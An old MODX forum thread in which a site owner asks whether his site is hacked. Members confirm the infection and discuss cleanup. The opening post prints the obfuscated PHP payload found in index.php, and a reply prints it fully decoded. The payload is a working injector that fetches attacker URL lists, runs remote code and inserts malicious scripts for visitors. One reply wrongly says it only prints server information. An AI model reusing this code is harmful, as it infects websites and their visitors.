have I been hacked?

884 Posts

sinbad Reply #1, 14 years, 6 months ago

Hi everyone,
My Evo site is acting funny,
on MS machine the AV says the site is infected.

when I check my index.php i see in its header the following encrypted code which I suspect is the virus. can anyone confirm?
thanks

<?php /**/ eval(base64_decode("aWYoZnVuY3Rpb25fZXhpc3RzKCdvYl9zdGFydCcpJiYhaXNzZXQoJF9TRVJWRVJbJ21yX25vJ10pKXsgICRfU0VSVkVSWydtcl9ubyddPTE7ICAgIGlmKCFmdW5jdGlvbl9leGlzdHMoJ21yb2JoJykpeyAgICBmdW5jdGlvbiBnZXRfdGRzXzc3NygkdXJsKXskY29udGVudD0iIjskY29udGVudD1AdHJ5Y3VybF83NzcoJHVybCk7aWYoJGNvbnRlbnQhPT1mYWxzZSlyZXR1cm4gJGNvbnRlbnQ7JGNvbnRlbnQ9QHRyeWZpbGVfNzc3KCR1cmwpO2lmKCRjb250ZW50IT09ZmFsc2UpcmV0dXJuICRjb250ZW50OyRjb250ZW50PUB0cnlmb3Blbl83NzcoJHVybCk7aWYoJGNvbnRlbnQhPT1mYWxzZSlyZXR1cm4gJGNvbnRlbnQ7JGNvbnRlbnQ9QHRyeWZzb2Nrb3Blbl83NzcoJHVybCk7aWYoJGNvbnRlbnQhPT1mYWxzZSlyZXR1cm4gJGNvbnRlbnQ7JGNvbnRlbnQ9QHRyeXNvY2tldF83NzcoJHVybCk7aWYoJGNvbnRlbnQhPT1mYWxzZSlyZXR1cm4gJGNvbnRlbnQ7cmV0dXJuICcnO30gIGZ1bmN0aW9uIHRyeWN1cmxfNzc3KCR1cmwpe2lmKGZ1bmN0aW9uX2V4aXN0cygnY3VybF9pbml0Jyk9PT1mYWxzZSlyZXR1cm4gZmFsc2U7JGNoID0gY3VybF9pbml0ICgpO2N1cmxfc2V0b3B0ICgkY2gsIENVUkxPUFRfVVJMLCR1cmwpO2N1cmxfc2V0b3B0ICgkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIDEpO2N1cmxfc2V0b3B0ICgkY2gsIENVUkxPUFRfVElNRU9VVCwgNSk7Y3VybF9zZXRvcHQgKCRjaCwgQ1VSTE9QVF9IR
UFERVIsIDApOyRyZXN1bHQgPSBjdXJsX2V4ZWMgKCRjaCk7Y3VybF9jbG9zZSgkY2gpO2lmICgkcmVzdWx0PT0iIilyZXR1cm4gZmFsc2U7cmV0dXJuICRyZXN1bHQ7fSAgZnVuY3Rpb24gdHJ5ZmlsZV83NzcoJHVybCl7aWYoZnVuY3Rpb25fZXhpc3RzKCdmaWxlJyk9PT1mYWxzZSlyZXR1cm4gZmFsc2U7JGluYz1AZmlsZSgkdXJsKTskYnVmPUBpbXBsb2RlKCcnLCRpbmMpO2lmICgkYnVmPT0iIilyZXR1cm4gZmFsc2U7cmV0dXJuICRidWY7fSAgZnVuY3Rpb24gdHJ5Zm9wZW5fNzc3KCR1cmwpe2lmKGZ1bmN0aW9uX2V4aXN0cygnZm9wZW4nKT09PWZhbHNlKXJldHVybiBmYWxzZTskYnVmPScnOyRmPUBmb3BlbigkdXJsLCdyJyk7aWYgKCRmKXt3aGlsZSghZmVvZigkZikpeyRidWYuPWZyZWFkKCRmLDEwMDAwKTt9ZmNsb3NlKCRmKTt9ZWxzZSByZXR1cm4gZmFsc2U7aWYgKCRidWY9PSIiKXJldHVybiBmYWxzZTtyZXR1cm4gJGJ1Zjt9ICBmdW5jdGlvbiB0cnlmc29ja29wZW5fNzc3KCR1cmwpe2lmKGZ1bmN0aW9uX2V4aXN0cygnZnNvY2tvcGVuJyk9PT1mYWxzZSlyZXR1cm4gZmFsc2U7JHA9QHBhcnNlX3VybCgkdXJsKTskaG9zdD0kcFsnaG9zdCddOyR1cmk9JHBbJ3BhdGgnXS4nPycuJHBbJ3F1ZXJ5J107JGY9QGZzb2Nrb3BlbigkaG9zdCw4MCwkZXJybm8sICRlcnJzdHIsMzApO2lmKCEkZilyZXR1cm4gZmFsc2U7JHJlcXVlc3QgPSJHRVQgJHVyaSBIVFRQLzEuMFxuIjskcmVxdWVzdC49Ikhvc3Q6ICRob3N0XG5cbiI7ZndyaXRlKCRmLCRyZ
XF1ZXN0KTskYnVmPScnO3doaWxlKCFmZW9mKCRmKSl7JGJ1Zi49ZnJlYWQoJGYsMTAwMDApO31mY2xvc2UoJGYpO2lmICgkYnVmPT0iIilyZXR1cm4gZmFsc2U7bGlzdCgkbSwkYnVmKT1leHBsb2RlKGNocigxMykuY2hyKDEwKS5jaHIoMTMpLmNocigxMCksJGJ1Zik7cmV0dXJuICRidWY7fSAgZnVuY3Rpb24gdHJ5c29ja2V0Xzc3NygkdXJsKXtpZihmdW5jdGlvbl9leGlzdHMoJ3NvY2tldF9jcmVhdGUnKT09PWZhbHNlKXJldHVybiBmYWxzZTskcD1AcGFyc2VfdXJsKCR1cmwpOyRob3N0PSRwWydob3N0J107JHVyaT0kcFsncGF0aCddLic/Jy4kcFsncXVlcnknXTskaXAxPUBnZXRob3N0YnluYW1lKCRob3N0KTskaXAyPUBsb25nMmlwKEBpcDJsb25nKCRpcDEpKTsgaWYgKCRpcDEhPSRpcDIpcmV0dXJuIGZhbHNlOyRzb2NrPUBzb2NrZXRfY3JlYXRlKEFGX0lORVQsU09DS19TVFJFQU0sU09MX1RDUCk7aWYgKCFAc29ja2V0X2Nvbm5lY3QoJHNvY2ssJGlwMSw4MCkpe0Bzb2NrZXRfY2xvc2UoJHNvY2spO3JldHVybiBmYWxzZTt9JHJlcXVlc3QgPSJHRVQgJHVyaSBIVFRQLzEuMFxuIjskcmVxdWVzdC49Ikhvc3Q6ICRob3N0XG5cbiI7c29ja2V0X3dyaXRlKCRzb2NrLCRyZXF1ZXN0KTskYnVmPScnO3doaWxlKCR0PXNvY2tldF9yZWFkKCRzb2NrLDEwMDAwKSl7JGJ1Zi49JHQ7fUBzb2NrZXRfY2xvc2UoJHNvY2spO2lmICgkYnVmPT0iIilyZXR1cm4gZmFsc2U7bGlzdCgkbSwkYnVmKT1leHBsb2RlKGNocigxMykuY2hyKDEwKS5jaHIoMTMpLmNoc
igxMCksJGJ1Zik7cmV0dXJuICRidWY7fSAgZnVuY3Rpb24gdXBkYXRlX3Rkc19maWxlXzc3NygkdGRzZmlsZSl7JGFjdHVhbDE9JF9TRVJWRVJbJ3NfYTEnXTskYWN0dWFsMj0kX1NFUlZFUlsnc19hMiddOyR2YWw9Z2V0X3Rkc183NzcoJGFjdHVhbDEpO2lmICgkdmFsPT0iIikkdmFsPWdldF90ZHNfNzc3KCRhY3R1YWwyKTskZj1AZm9wZW4oJHRkc2ZpbGUsInciKTtpZiAoJGYpe0Bmd3JpdGUoJGYsJHZhbCk7QGZjbG9zZSgkZik7fWlmIChzdHJzdHIoJHZhbCwifHx8Q09ERXx8fCIpKXtsaXN0KCR2YWwsJGNvZGUpPWV4cGxvZGUoInx8fENPREV8fHwiLCR2YWwpO2V2YWwoYmFzZTY0X2RlY29kZSgkY29kZSkpO31yZXR1cm4gJHZhbDt9ICBmdW5jdGlvbiBnZXRfYWN0dWFsX3Rkc183NzcoKXskZGVmYXVsdGRvbWFpbj0kX1NFUlZFUlsnc19kMSddOyRkaXI9JF9TRVJWRVJbJ3NfcDEnXTskdGRzZmlsZT0kZGlyLiJsb2cxLnR4dCI7aWYgKEBmaWxlX2V4aXN0cygkdGRzZmlsZSkpeyRtdGltZT1AZmlsZW10aW1lKCR0ZHNmaWxlKTskY3RpbWU9dGltZSgpLSRtdGltZTtpZiAoJGN0aW1lPiRfU0VSVkVSWydzX3QxJ10peyRjb250ZW50PXVwZGF0ZV90ZHNfZmlsZV83NzcoJHRkc2ZpbGUpO31lbHNleyRjb250ZW50PUBmaWxlX2dldF9jb250ZW50cygkdGRzZmlsZSk7fX1lbHNleyRjb250ZW50PXVwZGF0ZV90ZHNfZmlsZV83NzcoJHRkc2ZpbGUpO30kdGRzPUBleHBsb2RlKCJcbiIsJGNvbnRlbnQpOyRjPUBjb3VudCgkdGRzKSswOyR1cmw9JGRlZmF1b
HRkb21haW47aWYgKCRjPjEpeyR1cmw9dHJpbSgkdGRzW210X3JhbmQoMCwkYy0yKV0pO31yZXR1cm4gJHVybDt9ICBmdW5jdGlvbiBpc19tYWNfNzc3KCR1YSl7JG1hYz0wO2lmIChzdHJpc3RyKCR1YSwibWFjIil8fHN0cmlzdHIoJHVhLCJzYWZhcmkiKSlpZiAoKCFzdHJpc3RyKCR1YSwid2luZG93cyIpKSYmKCFzdHJpc3RyKCR1YSwiaXBob25lIikpKSRtYWM9MTtyZXR1cm4gJG1hYzt9ICBmdW5jdGlvbiBpc19tc2llXzc3NygkdWEpeyRtc2llPTA7aWYgKHN0cmlzdHIoJHVhLCJNU0lFIDYiKXx8c3RyaXN0cigkdWEsIk1TSUUgNyIpfHxzdHJpc3RyKCR1YSwiTVNJRSA4Iil8fHN0cmlzdHIoJHVhLCJNU0lFIDkiKSkkbXNpZT0xO3JldHVybiAkbXNpZTt9ICAgIGZ1bmN0aW9uIHNldHVwX2dsb2JhbHNfNzc3KCl7JHJ6PSRfU0VSVkVSWyJET0NVTUVOVF9ST09UIl0uIi8ubG9ncy8iOyRtej0iL3RtcC8iO2lmICghQGlzX2RpcigkcnopKXtAbWtkaXIoJHJ6KTtpZiAoQGlzX2RpcigkcnopKXskbXo9JHJ6O31lbHNleyRyej0kX1NFUlZFUlsiU0NSSVBUX0ZJTEVOQU1FIl0uIi8ubG9ncy8iO2lmICghQGlzX2RpcigkcnopKXtAbWtkaXIoJHJ6KTtpZiAoQGlzX2RpcigkcnopKXskbXo9JHJ6O319ZWxzZXskbXo9JHJ6O319fWVsc2V7JG16PSRyejt9JGJvdD0wOyR1YT0kX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ107aWYgKHN0cmlzdHIoJHVhLCJtc25ib3QiKXx8c3RyaXN0cigkdWEsIllhaG9vIikpJGJvdD0xO2lmIChzdHJpc3RyKCR1YSwiYmluZ
2JvdCIpfHxzdHJpc3RyKCR1YSwiZ29vZ2xlIikpJGJvdD0xOyRtc2llPTA7aWYgKGlzX21zaWVfNzc3KCR1YSkpJG1zaWU9MTskbWFjPTA7aWYgKGlzX21hY183NzcoJHVhKSkkbWFjPTE7aWYgKCgkbXNpZT09MCkmJigkbWFjPT0wKSkkYm90PTE7ICBnbG9iYWwgJF9TRVJWRVI7ICAgICRfU0VSVkVSWydzX3AxJ109JG16OyAgJF9TRVJWRVJbJ3NfYjEnXT0kYm90OyAgJF9TRVJWRVJbJ3NfdDEnXT0xMjAwOyAgJF9TRVJWRVJbJ3NfZDEnXT1iYXNlNjRfZGVjb2RlKCdhSFIwY0RvdkwyVnVjekV5TW5wNmVtUmtZWHA2TG1OdmJTOD0nKTsgICRkPSc/ZD0nLnVybGVuY29kZSgkX1NFUlZFUlsiSFRUUF9IT1NUIl0pLiImcD0iLnVybGVuY29kZSgkX1NFUlZFUlsiUEhQX1NFTEYiXSkuIiZhPSIudXJsZW5jb2RlKCRfU0VSVkVSWyJIVFRQX1VTRVJfQUdFTlQiXSk7ICAkX1NFUlZFUlsnc19hMSddPWJhc2U2NF9kZWNvZGUoJ2FIUjBjRG92TDIxdFozVndjR1Z5TG1OdmJTOW5YMnh2WVdRdWNHaHcnKS4kZDsgICRfU0VSVkVSWydzX2EyJ109YmFzZTY0X2RlY29kZSgnYUhSMGNEb3ZMMjF0YUc5c2IzQXVZMjl0TDJkZmJHOWhaQzV3YUhBPScpLiRkOyAgJF9TRVJWRVJbJ3Nfc2NyaXB0J109Im1tLnBocD9kPXgxIjsgIH0gICAgICBzZXR1cF9nbG9iYWxzXzc3NygpOyAgICBpZighZnVuY3Rpb25fZXhpc3RzKCdnbWxfNzc3JykpeyAgZnVuY3Rpb24gZ21sXzc3NygpeyAgICAkcl9zdHJpbmdfNzc3PScnOyAgaWYgKCRfU0VSVkVSWydzX2IxJ109PTApJHJfc3Rya
W5nXzc3Nz0nPHNjcmlwdCBzcmM9IicuZ2V0X2FjdHVhbF90ZHNfNzc3KCkuJF9TRVJWRVJbJ3Nfc2NyaXB0J10uJyI+PC9zY3JpcHQ+JzsgIHJldHVybiAkcl9zdHJpbmdfNzc3OyAgfSAgfSAgICAgIGlmKCFmdW5jdGlvbl9leGlzdHMoJ2d6ZGVjb2RlaXQnKSl7ICBmdW5jdGlvbiBnemRlY29kZWl0KCRkZWNvZGUpeyAgJHQ9QG9yZChAc3Vic3RyKCRkZWNvZGUsMywxKSk7ICAkc3RhcnQ9MTA7ICAkdj0wOyAgaWYoJHQmNCl7ICAkc3RyPUB1bnBhY2soJ3YnLHN1YnN0cigkZGVjb2RlLDEwLDIpKTsgICRzdHI9JHN0clsxXTsgICRzdGFydCs9Miskc3RyOyAgfSAgaWYoJHQmOCl7ICAkc3RhcnQ9QHN0cnBvcygkZGVjb2RlLGNocigwKSwkc3RhcnQpKzE7ICB9ICBpZigkdCYxNil7ICAkc3RhcnQ9QHN0cnBvcygkZGVjb2RlLGNocigwKSwkc3RhcnQpKzE7ICB9ICBpZigkdCYyKXsgICRzdGFydCs9MjsgIH0gICRyZXQ9QGd6aW5mbGF0ZShAc3Vic3RyKCRkZWNvZGUsJHN0YXJ0KSk7ICBpZigkcmV0PT09RkFMU0UpeyAgJHJldD0kZGVjb2RlOyAgfSAgcmV0dXJuICRyZXQ7ICB9ICB9ICBmdW5jdGlvbiBtcm9iaCgkY29udGVudCl7ICBASGVhZGVyKCdDb250ZW50LUVuY29kaW5nOiBub25lJyk7ICAkZGVjb2RlZF9jb250ZW50PWd6ZGVjb2RlaXQoJGNvbnRlbnQpOyAgaWYocHJlZ19tYXRjaCgnL1w8XC9ib2R5L3NpJywkZGVjb2RlZF9jb250ZW50KSl7ICByZXR1cm4gcHJlZ19yZXBsYWNlKCcvKFw8XC9ib2R5W15cPl0qXD4pL3NpJyxnbWxfNzc3KCkuI
lxuIi4nJDEnLCRkZWNvZGVkX2NvbnRlbnQpOyAgfWVsc2V7ICByZXR1cm4gJGRlY29kZWRfY29udGVudC5nbWxfNzc3KCk7ICB9ICB9ICBvYl9zdGFydCgnbXJvYmgnKTsgIH0gIH0="));?>

☆ A M B ☆
24,524 Posts

sottwell Reply #2, 14 years, 6 months ago

That is definitely hacked.

Studying MODX in the desert - http://sottwell.com
Tips and Tricks from the MODX Forums and Slack Channels - http://modxcookbook.com
Join the Slack Community - http://modx.org

24,544 Posts

BobRay Reply #3, 14 years, 6 months ago

In case you're wondering, this is the code that's being executed:

if (function_exists('ob_start') && !isset($_SERVER['mr_no'])) {
    $_SERVER['mr_no'] = 1;
    if (!function_exists('mrobh')) {
        function get_tds_777($url)
        {
            $content = "";
            $content = @trycurl_777($url);
            if ($content !== false) {
                return $content;
            }
            $content = @tryfile_777($url);
            if ($content !== false) {
                return $content;
            }
            $content = @tryfopen_777($url);
            if ($content !== false) {
                return $content;
            }
            $content = @tryfsockopen_777($url);
            if ($content !== false) {
                return $content;
            }
            $content = @trysocket_777($url);
            if ($content !== false) {
                return $content;
            }
            return '';
        }

        function trycurl_777($url)
        {
            if (function_exists('curl_init') === false) {
                return false;
            }
            $ch = curl_init();
            curl_setopt($ch, CURLOPT_URL, $url);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
            curl_setopt($ch, CURLOPT_TIMEOUT, 5);
            curl_setopt($ch, CURLOPT_HEADER, 0);
            $result = curl_exec($ch);
            curl_close($ch);
            if ($result == "") {
                return false;
            }
            return $result;
        }

        function tryfile_777($url)
        {
            if (function_exists('file') === false) {
                return false;
            }
            $inc = @file($url);
            $buf = @implode('', $inc);
            if ($buf == "") {
                return false;
            }
            return $buf;
        }

        function tryfopen_777($url)
        {
            if (function_exists('fopen') === false) {
                return false;
            }
            $buf = '';
            $f = @fopen($url, 'r');
            if ($f) {
                while (!feof($f)) {
                    $buf .= fread($f, 10000);
                }
                fclose($f);
            } else {
                return false;
            }
            if ($buf == "") {
                return false;
            }
            return $buf;
        }

        function tryfsockopen_777($url)
        {
            if (function_exists('fsockopen') === false) {
                return false;
            }
            $p = @parse_url($url);
            $host = $p['host'];
            $uri = $p['path'] . '?' . $p['query'];
            $f = @fsockopen($host, 80, $errno, $errstr, 30);
            if (!$f) {
                return false;
            }
            $request = "GET $uri HTTP/1.0\n";
            $request .= "Host: $host\n\n";
            fwrite($f, $request);
            $buf = '';
            while (!feof($f)) {
                $buf .= fread($f, 10000);
            }
            fclose($f);
            if ($buf == "") {
                return false;
            }
            list($m, $buf) = explode(chr(13) . chr(10) . chr(13) . chr(10), $buf);
            return $buf;
        }

        function trysocket_777($url)
        {
            if (function_exists('socket_create') === false) {
                return false;
            }
            $p = @parse_url($url);
            $host = $p['host'];
            $uri = $p['path'] . '?' . $p['query'];
            $ip1 = @gethostbyname($host);
            $ip2 = @long2ip(@ip2long($ip1));
            if ($ip1 != $ip2) {
                return false;
            }
            $sock = @socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
            if (!@socket_connect($sock, $ip1, 80)) {
                @socket_close($sock);
                return false;
            }
            $request = "GET $uri HTTP/1.0\n";
            $request .= "Host: $host\n\n";
            socket_write($sock, $request);
            $buf = '';
            while ($t = socket_read($sock, 10000)) {
                $buf .= $t;
            }
            @socket_close($sock);
            if ($buf == "") {
                return false;
            }
            list($m, $buf) = explode(chr(13) . chr(10) . chr(13) . chr(10), $buf);
            return $buf;
        }

        function update_tds_file_777($tdsfile)
        {
            $actual1 = $_SERVER['s_a1'];
            $actual2 = $_SERVER['s_a2'];
            $val = get_tds_777($actual1);
            if ($val == "") {
                $val = get_tds_777($actual2);
            }
            $f = @fopen($tdsfile, "w");
            if ($f) {
                @fwrite($f, $val);
                @fclose($f);
            }
            if (strstr($val, "|||CODE|||")) {
                list($val, $code) = explode("|||CODE|||", $val);
                eval(base64_decode($code));
            }
            return $val;
        }

        function get_actual_tds_777()
        {
            $defaultdomain = $_SERVER['s_d1'];
            $dir = $_SERVER['s_p1'];
            $tdsfile = $dir . "log1.txt";
            if (@file_exists($tdsfile)) {
                $mtime = @filemtime($tdsfile);
                $ctime = time() - $mtime;
                if ($ctime > $_SERVER['s_t1']) {
                    $content = update_tds_file_777($tdsfile);
                } else {
                    $content = @file_get_contents($tdsfile);
                }
            } else {
                $content = update_tds_file_777($tdsfile);
            }
            $tds = @explode("\n", $content);
            $c = @count($tds) + 0;
            $url = $defaultdomain;
            if ($c > 1) {
                $url = trim($tds[mt_rand(0, $c - 2)]);
            }
            return $url;
        }

        function is_mac_777($ua)
        {
            $mac = 0;
            if (stristr($ua, "mac") || stristr($ua, "safari")) {
                if ((!stristr($ua, "windows")) && (!stristr($ua, "iphone"))) {
                    $mac = 1;
                }
            }
            return $mac;
        }

        function is_msie_777($ua)
        {
            $msie = 0;
            if (stristr($ua, "MSIE 6") || stristr($ua, "MSIE 7") || stristr($ua, "MSIE 8") || stristr($ua, "MSIE 9")) {
                $msie = 1;
            }
            return $msie;
        }

        function setup_globals_777()
        {
            $rz = $_SERVER["DOCUMENT_ROOT"] . "/.logs/";
            $mz = "/tmp/";
            if (!@is_dir($rz)) {
                @mkdir($rz);
                if (@is_dir($rz)) {
                    $mz = $rz;
                } else {
                    $rz = $_SERVER["SCRIPT_FILENAME"] . "/.logs/";
                    if (!@is_dir($rz)) {
                        @mkdir($rz);
                        if (@is_dir($rz)) {
                            $mz = $rz;
                        }
                    } else {
                        $mz = $rz;
                    }
                }
            } else {
                $mz = $rz;
            }
            $bot = 0;
            $ua = $_SERVER['HTTP_USER_AGENT'];
            if (stristr($ua, "msnbot") || stristr($ua, "Yahoo")) {
                $bot = 1;
            }
            if (stristr($ua, "bingbot") || stristr($ua, "google")) {
                $bot = 1;
            }
            $msie = 0;
            if (is_msie_777($ua)) {
                $msie = 1;
            }
            $mac = 0;
            if (is_mac_777($ua)) {
                $mac = 1;
            }
            if (($msie == 0) && ($mac == 0)) {
                $bot = 1;
            }
            global $_SERVER;
            $_SERVER['s_p1'] = $mz;
            $_SERVER['s_b1'] = $bot;
            $_SERVER['s_t1'] = 1200;
            $_SERVER['s_d1'] = base64_decode('aHR0cDovL2VuczEyMnp6emRkYXp6LmNvbS8=');
            $d = '?d=' . urlencode($_SERVER["HTTP_HOST"]) . "&p=" . urlencode($_SERVER["PHP_SELF"]) . "&a=" . urlencode($_SERVER["HTTP_USER_AGENT"]);
            $_SERVER['s_a1'] = base64_decode('aHR0cDovL21tZ3VwcGVyLmNvbS9nX2xvYWQucGhw') . $d;
            $_SERVER['s_a2'] = base64_decode('aHR0cDovL21taG9sb3AuY29tL2dfbG9hZC5waHA=') . $d;
            $_SERVER['s_script'] = "mm.php?d=x1";
        }

        setup_globals_777();
        if (!function_exists('gml_777')) {
            function gml_777()
            {
                $r_string_777 = '';
                if ($_SERVER['s_b1'] == 0) {
                    $r_string_777 = '<script src="' . get_actual_tds_777() . $_SERVER['s_script'] . '"></script>';
                }
                return $r_string_777;
            }
        }
        if (!function_exists('gzdecodeit')) {
            function gzdecodeit($decode)
            {
                $t = @ord(@substr($decode, 3, 1));
                $start = 10;
                $v = 0;
                if ($t & 4) {
                    $str = @unpack('v', substr($decode, 10, 2));
                    $str = $str[1];
                    $start += 2 + $str;
                }
                if ($t & 8) {
                    $start = @strpos($decode, chr(0), $start) + 1;
                }
                if ($t & 16) {
                    $start = @strpos($decode, chr(0), $start) + 1;
                }
                if ($t & 2) {
                    $start += 2;
                }
                $ret = @gzinflate(@substr($decode, $start));
                if ($ret === FALSE) {
                    $ret = $decode;
                }
                return $ret;
            }
        }
        function mrobh($content)
        {
            @Header('Content-Encoding: none');
            $decoded_content = gzdecodeit($content);
            if (preg_match('/\<\/body/si', $decoded_content)) {
                return preg_replace('/(\<\/body[^\>]*\>)/si', gml_777() . "\n" . '$1', $decoded_content);
            } else {
                return $decoded_content . gml_777();
            }
        }

        ob_start('mrobh');
    }
}

Did I help you? Buy me a beer
Get my Book: MODX:The Official Guide
MODX info for everyone: http://bobsguides.com/modx.html
My MODX Extras
Bob's Guides is now hosted at A2 MODX Hosting

75 Posts

wdnz Reply #4, 14 years, 6 months ago

Yeah, I got hit by this one on several sites. It inserted code into the main index.php and also /assets/templates/manager/login.php.

Have since cleaned, changed ftp passwords, and added /manager.includes/protect.inc.php from latest modx 1.0.6 and has not been reinfected yet. Still not sure what the entry point for this hack was.

75 Posts

wdnz Reply #5, 14 years, 6 months ago

bobray, any idea what that code actually does?

884 Posts

sinbad Reply #6, 14 years, 6 months ago

apparently the whole box was infected

I got new php files all over the place.

Spent all yesterday reinstalling all the apps. modx is just one of them.
@Bob how did u get it to be readable? is there an online tool I can use for that?

884 Posts

sinbad Reply #7, 14 years, 6 months ago

it created a .log directory which had log.txt file with list of **.ru sites loading randomly for visitors.
nice program I'm impressed by this hacker.

think I'll need to move this site to my vps

24,544 Posts

BobRay Reply #8, 14 years, 6 months ago

Basically, it prints information about your server.

I just changed it from:

eval(base64_decode("aWYoZ ... '));

to

echo base64_decode("aWYoZ ... ');

and executed it in my code editor (PhpStorm).

You might be able to log attempts to access it with a modified version of LogPageNotFound and block those IPs in .htaccess, though it would be good to figure out how they got in in the first place.

------------------------------------------------------------------------------------------
PLEASE, PLEASE specify the version of MODX you are using.
MODX info for everyone: http://bobsguides.com/modx.html

Did I help you? Buy me a beer
Get my Book: MODX:The Official Guide
MODX info for everyone: http://bobsguides.com/modx.html
My MODX Extras
Bob's Guides is now hosted at A2 MODX Hosting

75 Posts

wdnz Reply #9, 14 years, 6 months ago

Sinbad, did you have other sites (non-modx) infected? Do you have any idea how they got in? I suspected FTP was compromised but now think that was not the case.
Thanks Bobray, that code is stuff I've never dealt with, looks like I'm up for some heavy reading. I guess the thing that bothers me is did they have access to the config.inc.php file and therefore the database passwords?

24,544 Posts

BobRay Reply #10, 14 years, 6 months ago

I'm not an expert on server attacks. It looks like the attack is not MODX-specific, but aimed at the sever itself, so it wouldn't give them the DB credentials directly. OTOH, if they were successful in gaining access to the server, they could have anything. You should definitely change all your usernames and passwords (MODX, DB, cPanel) and alert your host. You should also watch the index.php file and any other files that might have been infected to see if they come back.

I did decode the remaining base_64 code and the only thing of note was this:

$_SERVER['s_d1'] =  'http://ens122zzzddazz.com/'

I think there may be an extra around somewhere that does a checksum on the index.php file and reports tampering, but I don't know what it's called.

------------------------------------------------------------------------------------------
PLEASE, PLEASE specify the version of MODX you are using.
MODX info for everyone: http://bobsguides.com/modx.html

Did I help you? Buy me a beer
Get my Book: MODX:The Official Guide
MODX info for everyone: http://bobsguides.com/modx.html
My MODX Extras
Bob's Guides is now hosted at A2 MODX Hosting